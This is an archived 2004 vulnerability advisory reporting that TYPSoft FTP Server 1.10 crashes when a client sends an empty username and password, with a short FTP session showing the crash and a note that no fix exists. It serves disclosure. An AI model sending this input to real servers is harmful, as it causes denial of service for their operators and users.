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typsoft110.txt

typsoft110.txt
Posted Feb 4, 2004
Authored by intuit

TYPSoft FTP Server 1.10 for Windows 9X and WinNT is vulnerable to a denial of service attack when a blank username is supplied.

tags | advisory, denial of service
systems | windows
SHA-256 | 6742b201cd2b6ef95b013bdd107bdd1bd745427ac9b35928d0acd2abe70ad198

typsoft110.txt

Change Mirror Download
 
Application: TYPSoft FTP Server
http://www.typsoft.com

Version: 1.10

Bug: Denial Of Service

Author: intuit
e-mail: intuit@linuxmail.org
web/forum: http://code.unixserver.at

***********************************************************************

1. Description
2. The bug
3. The code
4. The fix

***********************************************************************

^^^^^^^^^^^^^^^^
1. Description:
^^^^^^^^^^^^^^^^

Vendor's Description:

"TYPSoft FTP Server is a fast and easy ftp server with support to
Standard FTP Command, Clean interface, Virtual File System
architecture, ability to resume Download and Upload, IP Restriction,
Login/Quit message, logs, Multi Language and many other things."

***********************************************************************

^^^^^^^^^^^^^^^^
2. The bug:
^^^^^^^^^^^^^^^^

TYPSoft FTP Server may be crashed with empty USERNAME.

***********************************************************************

^^^^^^^^^^^^^^^^
3. The code:
^^^^^^^^^^^^^^^^

To test the vulnerability simply send to the ftp server a empty user name like:

-----------------------------------------------------------------------
220 TYPSoft FTP Server 1.10 ready...
USER
331 Password required for .
PASS
501 Access violation at address 77F526AB in module 'ntdll.dll'.
Write of address 00404C4D
-----------------------------------------------------------------------

and the ftp server may be crashed.

Probably 100% employment of computer resources.

/*Tested on: Win XP Build 2600, Service Pack: None*/

***********************************************************************

^^^^^^^^^^^^^^^^
4. The fix:
^^^^^^^^^^^^^^^^

Not exist.

***********************************************************************

--
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